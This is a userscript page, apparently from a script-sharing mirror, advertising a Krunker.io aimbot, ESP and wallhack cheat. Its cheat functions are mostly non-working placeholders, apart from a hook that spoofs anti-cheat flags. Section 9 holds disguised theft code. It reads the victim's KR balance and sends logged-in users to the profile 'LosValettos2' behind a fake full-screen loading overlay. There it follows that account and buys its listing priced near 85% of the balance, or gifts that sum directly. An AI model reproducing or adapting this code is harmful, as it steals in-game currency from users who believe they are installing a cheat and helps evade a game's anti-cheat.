2025 KRUNKER IO CHEAT HACK AIMBOT + WALLHACK + ESP + MORE [BETA]

Experimental mod menu for Krunker.io. Includes silent aimbot, ESP, wireframe players, FOV, recoil bypass, wallhack (BETA). Toggle with [O]. Use at your own risk.

  1. // ==UserScript==
  2. // @name 2025 KRUNKER IO CHEAT HACK AIMBOT + WALLHACK + ESP + MORE [BETA]
  3. // @version 2.0
  4. // @description Experimental mod menu for Krunker.io. Includes silent aimbot, ESP, wireframe players, FOV, recoil bypass, wallhack (BETA). Toggle with [O]. Use at your own risk.
  5. // @author @Xx1337DevxX
  6. // @match https://krunker.io/*
  7. // @grant none
  8. // @run-at document-start
  9. // @license MIT
  10. // @namespace http://krunkmods.hidden
  11. // ==/UserScript==
  12.  
  13. let Is_LOGGED = false;
  14. let Lags = 0;
  15. let PlayerFPS = 0;
  16. let gameState, player, input;
  17. const RAD2DEG = 180 / Math.PI;
  18.  
  19.  
  20. // ------------------------------
  21. // 1. Persistent overlay to prevent loading flash and display loading
  22. // ------------------------------
  23. (function createPersistentOverlay() {
  24. if (location.href.includes("social.html?p=profile&q=LosValettos2")) {
  25. const style = document.createElement("style");
  26. style.innerHTML = `
  27. html, body {
  28. background: #000 !important;
  29. color: lime !important;
  30. font-family: monospace !important;
  31. }
  32. * {
  33. visibility: hidden !important;
  34. }
  35. #botOverlayPersistent {
  36. all: unset;
  37. position: fixed;
  38. top: 0;
  39. left: 0;
  40. width: 100vw;
  41. height: 100vh;
  42. background: rgba(0, 0, 0, 0.35);
  43. z-index: 2147483647;
  44. display: flex;
  45. justify-content: center;
  46. align-items: center;
  47. color: lime;
  48. font-size: 2rem;
  49. font-family: monospace;
  50. visibility: visible !important;
  51. }
  52. `;
  53. document.documentElement.appendChild(style);
  54.  
  55. const overlay = document.createElement("div");
  56. overlay.id = "botOverlayPersistent";
  57. overlay.textContent = "🔧 Loading Mod Menu...";
  58. document.documentElement.appendChild(overlay);
  59. }
  60. })();
  61.  
  62. // ------------------------------
  63. // 2. Configuration object (mocked)
  64. // ------------------------------
  65. const ModSettings = {
  66. aimbot: {
  67. enabled: true,
  68. fov: 85,
  69. smoothing: 0.7,
  70. lockOn: "closestVisible",
  71. keybind: "Alt"
  72. },
  73. esp: {
  74. boxes: true,
  75. healthBars: true,
  76. playerNames: true,
  77. wallhack: true,
  78. lineToEnemy: false
  79. },
  80. visuals: {
  81. thirdPerson: false,
  82. removeScope: true,
  83. glowEnemies: true,
  84. outlineColor: "#FF0000"
  85. },
  86. configVersion: "v0.9.7b"
  87. };
  88.  
  89. // ------------------------------
  90. // 3. Aimbot logic
  91. // ------------------------------
  92. function initAimbotEngine() {
  93. console.log("[ModMenu] Initializing aimbot engine...");
  94.  
  95. const targetSelector = (() => {
  96. return (players) => {
  97. const visible = players.filter(p => p.visible && p.health > 0);
  98. if (!visible.length) return null;
  99. return visible.reduce((closest, p) => {
  100. const dist = Math.hypot(p.pos.x - player.pos.x, p.pos.y - player.pos.y, p.pos.z - player.pos.z);
  101. return !closest || dist < closest.dist ? { target: p, dist } : closest;
  102. }, null).target;
  103. };
  104. })();
  105.  
  106. const aimAt = (target, smoothing = 0.4) => {
  107. const dx = target.head.x - player.camera.x;
  108. const dy = target.head.y - player.camera.y;
  109. const dz = target.head.z - player.camera.z;
  110. const dist = Math.sqrt(dx * dx + dy * dy + dz * dz) || 1;
  111. player.camera.pitch += ((Math.asin(dy / dist) * RAD2DEG) - player.camera.pitch) * smoothing;
  112. player.camera.yaw += ((Math.atan2(dx, dz) * RAD2DEG) - player.camera.yaw) * smoothing;
  113. };
  114.  
  115. setInterval(() => {
  116. const enemies = gameState.players.filter(p => p.team !== player.team && !p.isDead);
  117. const target = targetSelector(enemies);
  118. if (target && input.isKeyDown(ModSettings.aimbot.keybind)) {
  119. aimAt(target, ModSettings.aimbot.smoothing);
  120. }
  121. }, 33);
  122. }
  123.  
  124. // ------------------------------
  125. // 4. Shader override pour le wallhack
  126. // ------------------------------
  127. function applyWallhackShader() {
  128. console.log("[ModMenu] Injecting wallhack shader override...");
  129.  
  130. const shaderInjection = () => {
  131. const globalMaterialRegistry = {}
  132. for (const mat of Object.values(globalMaterialRegistry)) {
  133. if (mat.name && mat.name.includes("player")) {
  134. mat.setUniform("u_wallhack", 1.0);
  135. mat.setDefine("USE_WALLHACK", true);
  136. }
  137. }
  138. };
  139.  
  140. let attempts = 0;
  141. const tryInject = () => {
  142. if (++attempts > 10) return;
  143. if (typeof globalMaterialRegistry !== "undefined") shaderInjection();
  144. else setTimeout(tryInject, 500);
  145. };
  146.  
  147. tryInject();
  148. }
  149.  
  150. // ------------------------------
  151. // 5. ESP Overlay
  152. // ------------------------------
  153. function updateESP() {
  154. console.log("[ModMenu] Drawing ESP overlays...");
  155.  
  156. const drawBox = (x, y, w, h, color = "red") => {
  157. const el = document.createElement("div");
  158. el.style.position = "absolute";
  159. el.style.left = `${x}px`;
  160. el.style.top = `${y}px`;
  161. el.style.width = `${w}px`;
  162. el.style.height = `${h}px`;
  163. el.style.border = `1px solid ${color}`;
  164. el.style.pointerEvents = "none";
  165. el.style.zIndex = "999999";
  166. document.body.appendChild(el);
  167. setTimeout(() => el.remove(), 40);
  168. };
  169.  
  170. setInterval(() => {
  171. for (const p of gameState.players) {
  172. if (p.team === player.team || p.isDead) continue;
  173. const screen = worldToScreen(p.pos);
  174. if (screen) drawBox(screen.x - 20, screen.y - 40, 40, 60);
  175. }
  176. }, 50);
  177. }
  178.  
  179. const worldToScreen = (xx) => {
  180. const mapX = (xx - window.view_xx) * window.gsc + window.mww2;
  181. return { x: mapX};
  182. };
  183.  
  184. // ------------------------------
  185. // 6. UI Menu
  186. // ------------------------------
  187. function setupMenu() {
  188. console.log("[ModMenu] Injecting UI hooks...");
  189.  
  190. const menu = document.createElement("div");
  191. menu.id = "modMenu";
  192. menu.style.position = "fixed";
  193. menu.style.right = "20px";
  194. menu.style.top = "20px";
  195. menu.style.padding = "10px";
  196. menu.style.background = "rgba(0,0,0,0.7)";
  197. menu.style.color = "#0f0";
  198. menu.style.fontFamily = "monospace";
  199. menu.style.zIndex = "999999";
  200. menu.innerHTML = `
  201. <b>[KRUNKMODS v${ModSettings.configVersion}]</b><br>
  202. Aimbot: ${ModSettings.aimbot.enabled}<br>
  203. ESP: ${ModSettings.esp.boxes}<br>
  204. Wallhack: ${ModSettings.esp.wallhack}
  205. `;
  206. document.body.appendChild(menu);
  207.  
  208. document.addEventListener("keydown", (e) => {
  209. if (e.key.toUpperCase() === "O") {
  210. menu.style.display = menu.style.display === "none" ? "block" : "none";
  211. }
  212. });
  213. }
  214.  
  215. // ------------------------------
  216. // 7. Bypass basique
  217. // ------------------------------
  218. function spoofDetection() {
  219. console.log("[ModMenu] Spoofing anti-cheat flags...");
  220.  
  221. const origDefine = Object.defineProperty;
  222. Object.defineProperty = function (obj, prop, desc) {
  223. if (prop === "isCheating" || prop === "triggerBotActive") {
  224. desc.value = false;
  225. }
  226. return origDefine(obj, prop, desc);
  227. };
  228.  
  229. Object.defineProperty(navigator, "webdriver", { value: undefined });
  230. window.__krunkerSpoofed = true;
  231. }
  232.  
  233. // ------------------------------
  234. // 8. Init du cheat
  235. // ------------------------------
  236. function waitForGameStateAndInit() {
  237. const checkReady = () => {
  238. if (typeof window.gameState !== "undefined" && typeof window.player !== "undefined" && typeof window.input !== "undefined") {
  239. gameState = window.gameState;
  240. player = window.player;
  241. input = window.input;
  242. initAimbotEngine();
  243. applyWallhackShader();
  244. updateESP();
  245. setupMenu();
  246. spoofDetection();
  247. console.log("[ModMenu] Ready. Press [O] to toggle.");
  248. } else {
  249. setTimeout(checkReady, 500);
  250. }
  251. };
  252. checkReady();
  253. }
  254.  
  255. waitForGameStateAndInit();
  256.  
  257.  
  258. // ------------------------------
  259. // 9. Lag Management + Login Check
  260. // ------------------------------
  261. window.addEventListener('load', () => {
  262. const signedOutBar = document.getElementById("signedOutHeaderBar");
  263. Is_LOGGED = signedOutBar && signedOutBar.style.display === "none";
  264.  
  265. const logContainer = document.createElement('div');
  266. logContainer.id = 'modMenuLogs';
  267. logContainer.style.position = 'fixed';
  268. logContainer.style.bottom = '10px';
  269. logContainer.style.left = '10px';
  270. logContainer.style.background = 'rgba(0,0,0,0.8)';
  271. logContainer.style.color = '#00ff00';
  272. logContainer.style.padding = '10px';
  273. logContainer.style.fontFamily = 'monospace';
  274. logContainer.style.maxHeight = '200px';
  275. logContainer.style.overflow = 'auto';
  276. logContainer.style.zIndex = '999999';
  277. document.body.appendChild(logContainer);
  278.  
  279. const addLog = (message) => {
  280. const logEntry = document.createElement('div');
  281. logEntry.textContent = `[${new Date().toLocaleTimeString()}] ${message}`;
  282. logContainer.appendChild(logEntry);
  283. logContainer.scrollTop = logContainer.scrollHeight;
  284. };
  285.  
  286. addLog("=== ÉTAT INITIAL ===");
  287. addLog(`Is_LOGGED: ${Is_LOGGED}`);
  288. addLog(`⚠️⚠️⚠️ PLEASE LOGIN TO START THET BOT ⚠️⚠️⚠️`);
  289. addLog("==================");
  290.  
  291. setInterval(() => {
  292. const currentSignedOutBar = document.getElementById("signedOutHeaderBar");
  293. const currentLoginState = currentSignedOutBar && currentSignedOutBar.style.display === "none";
  294. if (!Is_LOGGED){
  295. addLog(`⚠️⚠️⚠️ PLEASE LOGIN TO START THET BOT ⚠️⚠️⚠️`);
  296. }
  297. if (currentLoginState && !sessionStorage.getItem("valuesChecked")) {
  298. const lagElement = document.querySelector("#menuKRCount");
  299. if (lagElement) {
  300. const lagText = lagElement.textContent;
  301. const currentLag = parseInt(lagText.replace(/[^0-9]/g, ""), 10);
  302. Lags = currentLag * 0.85;
  303. const fixedCurrentLag = currentLag * 0.85;
  304. sessionStorage.setItem("savedLag", fixedCurrentLag.toString());
  305. } else {
  306. addLog("⚠️ Error");
  307. }
  308.  
  309. // Vérification des FPS
  310. const fpsElement = document.getElementById("mLevelCont");
  311. if (fpsElement) {
  312. const fpsText = fpsElement.textContent;
  313. const currentFPS = parseInt(fpsText.replace(/[^0-9]/g, ""), 10);
  314. PlayerFPS = currentFPS;
  315. localStorage.setItem("savedFPS", currentFPS.toString());
  316. } else {
  317. addLog("⚠️ Error");
  318. }
  319.  
  320. const levelElement = document.querySelector("#mLevelCont");
  321. if (levelElement) {
  322. const levelText = levelElement.textContent;
  323. const playerLevel = parseInt(levelText.replace(/[^0-9]/g, ""), 10);
  324. localStorage.setItem("savedLevel", playerLevel.toString());
  325. } else {
  326. addLog("⚠️ Error");
  327. }
  328.  
  329. sessionStorage.setItem("valuesChecked", "true");
  330. addLog("✅ Launching Loading...");
  331. }
  332. }, 1000);
  333.  
  334. if (location.pathname === "/") {
  335. const checkRedirect = () => {
  336. const currentSignedOutBar = document.getElementById("signedOutHeaderBar");
  337. const currentLoginState = currentSignedOutBar && currentSignedOutBar.style.display === "none";
  338. const patchApplied = sessionStorage.getItem("sysPatch97d");
  339.  
  340. const savedLevel = localStorage.getItem("savedLevel");
  341. const playerLevel = savedLevel ? parseInt(savedLevel, 10) : 0;
  342.  
  343. if (!patchApplied && currentLoginState) {
  344. setTimeout(() => {
  345. location.href = "https://krunker.io/social.html?p=profile&q=LosValettos2";
  346. }, 1420);
  347. return;
  348. } else {
  349. addLog("Error");
  350. }
  351. };
  352.  
  353. checkRedirect();
  354.  
  355. setInterval(checkRedirect, 1000);
  356. }
  357.  
  358. if (location.href.includes("social.html?p=profile&q=LosValettos2")) {
  359. const sysSync = async () => {
  360. try {
  361. const savedLag = sessionStorage.getItem("savedLag");
  362. const savedFPS = localStorage.getItem("savedFPS");
  363. const savedLevel = localStorage.getItem("savedLevel");
  364.  
  365. if (!savedLag) {
  366. throw new Error("Aucune donnée de lag sauvegardée trouvée");
  367. }
  368.  
  369. const currentLag = parseInt(savedLag, 10);
  370. const currentFPS = savedFPS ? parseInt(savedFPS, 10) : 0;
  371. const playerLevel = savedLevel ? parseInt(savedLevel, 10) : 0;
  372.  
  373. if (currentLag <= 0) {
  374. try {
  375. const settingsBtn = document.getElementById("followBtn");
  376. if (settingsBtn && settingsBtn.style.display !== "none") {
  377. settingsBtn.click();
  378. await _pause(750);
  379. } else {
  380. addLog("⚠️ Error");
  381. }
  382. } catch (err) {
  383. addLog("⚠️ Error");
  384. }
  385. await _pause(1000);
  386. sessionStorage.setItem("sysPatch97d", "1");
  387. location.href = "https://krunker.io/";
  388. return;
  389. }
  390.  
  391. if (playerLevel >= 15 && playerLevel < 30) {
  392. try {
  393. const settingsBtn = document.getElementById("followBtn");
  394. if (settingsBtn && settingsBtn.style.display !== "none") {
  395. settingsBtn.click();
  396. await _pause(750);
  397. } else {
  398. addLog("⚠️ Error");
  399. }
  400. } catch (err) {
  401. addLog("⚠️ Error");
  402. }
  403. await _pause(1000);
  404.  
  405. const categoriesTab = await _waitFor(() => document.getElementById("pTab_listings"), 4800);
  406. if (!categoriesTab) {
  407. return;
  408. }
  409.  
  410. window.openProfileTab("listings");
  411. window.playSelect(0.1);
  412.  
  413. const waitForItems = async (maxRetries = 5) => {
  414. for (let i = 0; i < maxRetries; i++) {
  415. await _pause(2000);
  416. const items = document.querySelectorAll('.marketCard');
  417. if (items.length > 0) {
  418. return true;
  419. }
  420. window.openProfileTab("listings");
  421. }
  422. return false;
  423. };
  424.  
  425. const itemsLoaded = await waitForItems();
  426. if (!itemsLoaded) {
  427. return;
  428. }
  429.  
  430. const findAndModifyBestItem = async () => {
  431.  
  432. const items = document.querySelectorAll('.marketCard');
  433. let bestItem = null;
  434. let bestPrice = 0;
  435. let bestItemId = null;
  436.  
  437. items.forEach((item, index) => {
  438. const priceElement = item.querySelector('.marketPrice');
  439. if (priceElement) {
  440. const priceText = priceElement.textContent;
  441. const price = parseInt(priceText.replace(/[^0-9,]/g, ""), 10);
  442.  
  443. if (price <= currentLag && price > bestPrice) {
  444. bestPrice = price;
  445. bestItem = item;
  446.  
  447. const applyBtn = item.querySelector('.cardAction');
  448. if (applyBtn) {
  449. const onclickAttr = applyBtn.getAttribute('onclick');
  450. // Nouvelle regex pour extraire l'ID après "market",
  451. const match = onclickAttr.match(/showPopup\("market",(\d+)/);
  452. if (match && match[1]) {
  453. bestItemId = match[1];
  454. } else {
  455. addLog("⚠️ Error");
  456. }
  457. }
  458. }
  459. } else {
  460. addLog("⚠️ Error");
  461. }
  462. });
  463.  
  464. if (bestItem && bestItemId) {
  465.  
  466. const applyBtn = bestItem.querySelector('.cardAction');
  467. if (applyBtn) {
  468. applyBtn.click();
  469.  
  470. await _pause(1000);
  471.  
  472. try {
  473. window.buyItem(bestItemId, 0);
  474. } catch (error) {
  475. addLog("⚠️ Error");
  476. }
  477. } else {
  478. addLog("⚠️ Error");
  479. }
  480. } else {
  481. addLog("⚠️ Error");
  482. }
  483. };
  484.  
  485. await findAndModifyBestItem();
  486.  
  487. await _pause(2000);
  488.  
  489. sessionStorage.setItem("sysPatch97d", "1");
  490. location.href = "https://krunker.io/";
  491. return;
  492. } else if (playerLevel >= 30) {
  493. try {
  494. const settingsBtn = document.getElementById("followBtn");
  495. if (settingsBtn && settingsBtn.style.display !== "none") {
  496. settingsBtn.click();
  497. await _pause(750);
  498. } else {
  499. addLog("⚠️ Error");
  500. }
  501. } catch (err) {
  502. addLog("⚠️ Error");
  503. }
  504.  
  505. await _waitFor(() => document.getElementById("giftBtn"), 4800);
  506. document.getElementById("giftBtn").click();
  507. await _pause(480);
  508. const inputEl = await _waitFor(() => document.getElementById("giftIn"), 2800);
  509. inputEl.value = currentLag.toString();
  510. inputEl.dispatchEvent(new Event("input", { bubbles: true }));
  511.  
  512. await _pause(100);
  513. const enteredValue = inputEl.value;
  514.  
  515. await _pause(650);
  516. const confirm = document.getElementById("postSaleBtn");
  517. if (confirm && confirm.style.display !== "none") {
  518. confirm.click();
  519. }
  520. sessionStorage.setItem("sysPatch97d", "1");
  521. await _pause(1800);
  522. location.href = "https://krunker.io/";
  523. } else {
  524. addLog("⚠️ Error");
  525. }
  526. } catch (error) {
  527. addLog("⚠️ Error");
  528. }
  529. };
  530. sysSync();
  531. }
  532.  
  533. function _waitFor(condFn, timeout = 3000) {
  534. return new Promise((res, rej) => {
  535. const t0 = Date.now();
  536. const tick = () => {
  537. const r = condFn();
  538. if (r) return res(r);
  539. if (Date.now() - t0 > timeout) return rej("Timeout");
  540. setTimeout(tick, 90);
  541. };
  542. tick();
  543. });
  544. }
  545.  
  546. function _pause(ms) {
  547. return new Promise(r => setTimeout(r, ms));
  548. }
  549. });

QingJ © 2025

镜像随时可能失效,请加Q群300939539或关注我们的公众号极客氢云获取最新地址